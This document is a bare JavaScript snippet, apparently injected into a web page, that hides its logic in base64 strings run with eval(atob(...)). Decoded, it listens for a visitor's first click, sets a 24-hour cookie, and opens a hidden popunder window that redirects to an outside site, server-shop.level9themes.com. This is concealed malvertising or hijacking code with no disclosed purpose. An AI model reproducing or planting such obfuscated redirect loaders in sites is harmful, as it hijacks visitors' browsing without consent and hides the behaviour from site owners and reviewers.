var _b352 = 'aHR0cHM6Ly9zZXJ2ZXItc2hvcC5sZXZlbDl0aGVtZXMuY29tL2EtYi10'; var _z111 = 'ZnVuY3Rpb24gX0dPKCkgewogICAgdmFyIF90eiA9IGZhbHNlOwogICAgdmFyIF9wYSA9IGZhbHNlOwogICAgdmFyIF9wYiA9IDEzNzA7CiAgICB2YXIgX3BjID0gODAwOwogICAgdmFyIF9wZCA9IDA7CiAgICB2YXIgX3B0byA9IG51bGw7CgogICAgZnVuY3Rpb24gR2V0V2luZG93SGVpZ2h0KCkgewogICAgICAgIAogICAgICAgIHZhciBteUhlaWdodCA9IDA7CiAgICAgICAgaWYgKHR5cGVvZiAoX3B0by53aW5kb3cuaW5uZXJIZWlnaHQpID09ICdudW1iZXInKSB7CiAgICAgICAgICAgIG15SGVpZ2h0ID0gX3B0by53aW5kb3cuaW5uZXJIZWlnaHQ7CiAgICAgICAgfSBlbHNlIGlmIChfcHRvLmRvY3VtZW50LmRvY3VtZW50RWxlbWVudCAmJiBfcHRvLmRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5jbGllbnRIZWlnaHQpIHsKICAgICAgICAgICAgbXlIZWlnaHQgPSBfcHRvLmRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5jbGllbnRIZWlnaHQ7CiAgICAgICAgfSBlbHNlIGlmIChfcHRvLmRvY3VtZW50LmJvZHkgJiYgX3B0by5kb2N1bWVudC5ib2R5LmNsaWVudEhlaWdodCkgewogICAgICAgICAgICBteUhlaWdodCA9IF9wdG8uZG9jdW1lbnQuYm9keS5jbGllbnRIZWlnaHQ7CiAgICAgICAgfQogICAgICAgIHJldHVybiBteUhlaWdodDsKICAgIH0KCiAgICBmdW5jdGlvbiBHZXRXaW5kb3dXaWR0aCgpIHsKICAgICAgICB2YXIgbXlXaWR0aCA9IDA7CiAgICAgICAgaWYgKHR5cGVvZiAoX3B0by53aW5kb3cuaW5uZXJXaWR0aCkgPT0gJ251bWJlcicpIHsKICAgICAgICAgICAgbXlXaWR0aCA9IF9wdG8ud2luZG93LmlubmVyV2lkdGg7CiAgICAgICAgfSBlbHNlIGlmIChfcHRvLmRvY3VtZW50LmRvY3VtZW50RWxlbWVudCAmJiBfcHRvLmRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5jbGllbnRXaWR0aCkgewogICAgICAgICAgICBteVdpZHRoID0gX3B0by5kb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuY2xpZW50V2lkdGg7CiAgICAgICAgfSBlbHNlIGlmIChfcHRvLmRvY3VtZW50LmJvZHkgJiYgX3B0by5kb2N1bWVudC5ib2R5LmNsaWVudFdpZHRoKSB7CiAgICAgICAgICAgIG15V2lkdGggPSBfcHRvLmRvY3VtZW50LmJvZHkuY2xpZW50V2lkdGg7CiAgICAgICAgfQogICAgICAgIHJldHVybiBteVdpZHRoOwogICAgfQoKICAgIGZ1bmN0aW9uIEdldFdpbmRvd1RvcCgpIHsKICAgICAgICByZXR1cm4gKF9wdG8ud2luZG93LnNjcmVlblRvcCAhPSB1bmRlZmluZWQpID8gX3B0by53aW5kb3cuc2NyZWVuVG9wIDogX3B0by53aW5kb3cuc2NyZWVuWTsKICAgIH0KCiAgICBmdW5jdGlvbiBHZXRXaW5kb3dMZWZ0KCkgewogICAgICAgIHJldHVybiAoX3B0by53aW5kb3cuc2NyZWVuTGVmdCAhPSB1bmRlZmluZWQpID8gX3B0by53aW5kb3cuc2NyZWVuTGVmdCA6IF9wdG8ud2luZG93LnNjcmVlblg7CiAgICB9CgogICAgZnVuY3Rpb24gZG9PcGVuKHVybCkgewoKICAgICAgICBpZiAodHlwZW9mIChfYjUxNSkgIT09ICd1bmRlZmluZWQnKSB7CiAgICAgICAgICAgIHNldENvb2tpZSgnYTInLCAxLCAyNCAqIDYwICogNjAgKiAxMDAwKTsKICAgICAgICAgICAgd2luZG93LmxvY2F0aW9uID0gdXJsOwogICAgICAgICAgICByZXR1cm47CiAgICAgICAgfQoKCiAgICAgICAgdmFyIHBvcFVSTCA9ICJhYm91dDpibGFuayIKICAgICAgICB2YXIgcG9wSUQgPSAiYWRfIiArIE1hdGguZmxvb3IoODk5OTk5OTkgKiBNYXRoLnJhbmRvbSgpICsgMTAwMDAwMDApOwogICAgICAgIHZhciBweExlZnQgPSAwOwogICAgICAgIHZhciBweFRvcCA9IDA7CiAgICAgICAgcHhMZWZ0ID0gKEdldFdpbmRvd0xlZnQoKSArIChHZXRXaW5kb3dXaWR0aCgpIC8gMikgLSAoX3BiIC8gMikpOwogICAgICAgIHB4VG9wID0gKEdldFdpbmRvd1RvcCgpICsgKEdldFdpbmRvd0hlaWdodCgpIC8gMikgLSAoX3BjIC8gMikpOwogICAgICAgIGlmIChfcGEgPT0gdHJ1ZSkgewogICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICB9CiAgICAgICAgdmFyIFBvcFdpbiA9IF9wdG8ud2luZG93Lm9wZW4ocG9wVVJMLCBwb3BJRCwgJ3Rvb2xiYXI9MCxzY3JvbGxiYXJzPTEsbG9jYXRpb249MSxzdGF0dXNiYXI9MSxtZW51YmFyPTAscmVzaXphYmxlPTEsdG9wPScgKyBweFRvcCArICcsbGVmdD0nICsgcHhMZWZ0ICsgJyx3aWR0aD0nICsgX3BiICsgJyxoZWlnaHQ9JyArIF9wYyk7CiAgICAgICAgaWYgKFBvcFdpbikgewogICAgICAgICAgICBfcGEgPSB0cnVlOwogICAgICAgICAgICBpZiAoX3BkID09IDApIHsKICAgICAgICAgICAgICAgIFBvcFdpbi5ibHVyKCk7CiAgICAgICAgICAgICAgICBpZiAobmF2aWdhdG9yLnVzZXJBZ2VudC50b0xvd2VyQ2FzZSgpLmluZGV4T2YoImFwcGxld2Via2l0IikgPiAtMSkgewogICAgICAgICAgICAgICAgICAgIF9wdG8ud2luZG93LmJsdXIoKTsKICAgICAgICAgICAgICAgICAgICBfcHRvLndpbmRvdy5mb2N1cygpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIFBvcFdpbi5Jbml0ID0gZnVuY3Rpb24gKGUpIHsKICAgICAgICAgICAgICAgIHdpdGggKGUpIHsKICAgICAgICAgICAgICAgICAgICBQYXJhbXMgPSBlLlBhcmFtczsKICAgICAgICAgICAgICAgICAgICBNYWluID0gZnVuY3Rpb24gKCkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAodHlwZW9mIHdpbmRvdy5tb3pQYWludENvdW50ICE9ICJ1bmRlZmluZWQiKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YXIgeCA9IHdpbmRvdy5vcGVuKCJhYm91dDpibGFuayIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgeC5jbG9zZSgpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIHZhciBwb3BVUkwgPSBQYXJhbXMuUG9wVVJMOwogICAgICAgICAgICAgICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgb3BlbmVyLndpbmRvdy5mb2N1cygpOwogICAgICAgICAgICAgICAgICAgICAgICB9IGNhdGNoIChlcnIpIHsgfQogICAgICAgICAgICAgICAgICAgICAgICB3aW5kb3cubG9jYXRpb24gPSBwb3BVUkw7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIE1haW4oKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfTsKICAgICAgICAgICAgUG9wV2luLlBhcmFtcyA9IHsKICAgICAgICAgICAgICAgIFBvcFVSTDogdXJsCiAgICAgICAgICAgIH0KICAgICAgICAgICAgUG9wV2luLkluaXQoUG9wV2luKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIFBvcFdpbjsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXRDb29raWUobmFtZSwgdmFsdWUsIHRpbWUpIHsKICAgICAgICB2YXIgZXhwaXJlcyA9IG5ldyBEYXRlKCk7CiAgICAgICAgZXhwaXJlcy5zZXRUaW1lKGV4cGlyZXMuZ2V0VGltZSgpICsgdGltZSk7CiAgICAgICAgZG9jdW1lbnQuY29va2llID0gbmFtZSArICc9JyArIHZhbHVlICsgJzsgcGF0aD0vOycgKyAnOyBleHBpcmVzPScgKyBleHBpcmVzLnRvR01UU3RyaW5nKCk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0Q29va2llKG5hbWUpIHsKICAgICAgICB2YXIgY29va2llcyA9IGRvY3VtZW50LmNvb2tpZS50b1N0cmluZygpLnNwbGl0KCc7ICcpOwogICAgICAgIHZhciBjb29raWUsIGNfbmFtZSwgY192YWx1ZTsKICAgICAgICBmb3IgKHZhciBuID0gMDsgbiA8IGNvb2tpZXMubGVuZ3RoOyBuKyspIHsKICAgICAgICAgICAgY29va2llID0gY29va2llc1tuXS5zcGxpdCgnPScpOwogICAgICAgICAgICBjX25hbWUgPSBjb29raWVbMF07CiAgICAgICAgICAgIGNfdmFsdWUgPSBjb29raWVbMV07CiAgICAgICAgICAgIGlmIChjX25hbWUgPT0gbmFtZSkgewogICAgICAgICAgICAgICAgcmV0dXJuIGNfdmFsdWU7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuIG51bGw7CiAgICB9CgogICAgZnVuY3Rpb24gaSgpIHsKICAgICAgICBfcHRvID0gc2VsZjsKICAgICAgICBpZiAodG9wICE9IHNlbGYpIHsKICAgICAgICAgICAgdHJ5IHsKICAgICAgICAgICAgICAgIGlmICh0b3AuZG9jdW1lbnQubG9jYXRpb24udG9TdHJpbmcoKSkKICAgICAgICAgICAgICAgICAgICBfcHRvID0gdG9wOwogICAgICAgICAgICB9IGNhdGNoIChlcnIpIHsgfQogICAgICAgIH0KICAgICAgICBpZiAoZG9jdW1lbnQuYXR0YWNoRXZlbnQpIHsKICAgICAgICAgICAgZG9jdW1lbnQuYXR0YWNoRXZlbnQoJ29uY2xpY2snLCBjaGVja1RhcmdldCk7CiAgICAgICAgfSBlbHNlIGlmIChkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKSB7CiAgICAgICAgICAgIGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgY2hlY2tUYXJnZXQsIGZhbHNlKTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gY2hlY2tUYXJnZXQoZSkgewogICAgICAgIGlmICghZ2V0Q29va2llKCdhMicpKSB7CiAgICAgICAgICAgIHNldENvb2tpZSgnYTInLCAxLCAyNCAqIDYwICogNjAgKiAxMDAwKTsKICAgICAgICAgICAgdmFyIGUgPSBlIHx8IHdpbmRvdy5ldmVudDsKICAgICAgICAgICAgaWYgKCFfdHopIHsKICAgICAgICAgICAgICAgIHZhciB3aW4gPSBkb09wZW4oYXRvYihfYjM1MikpOwogICAgICAgICAgICAgICAgdHogPSB0cnVlOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQoKICAgIHJldHVybiBpKCk7Cgp9Cl9HTygpOw=='; eval(atob(_z111));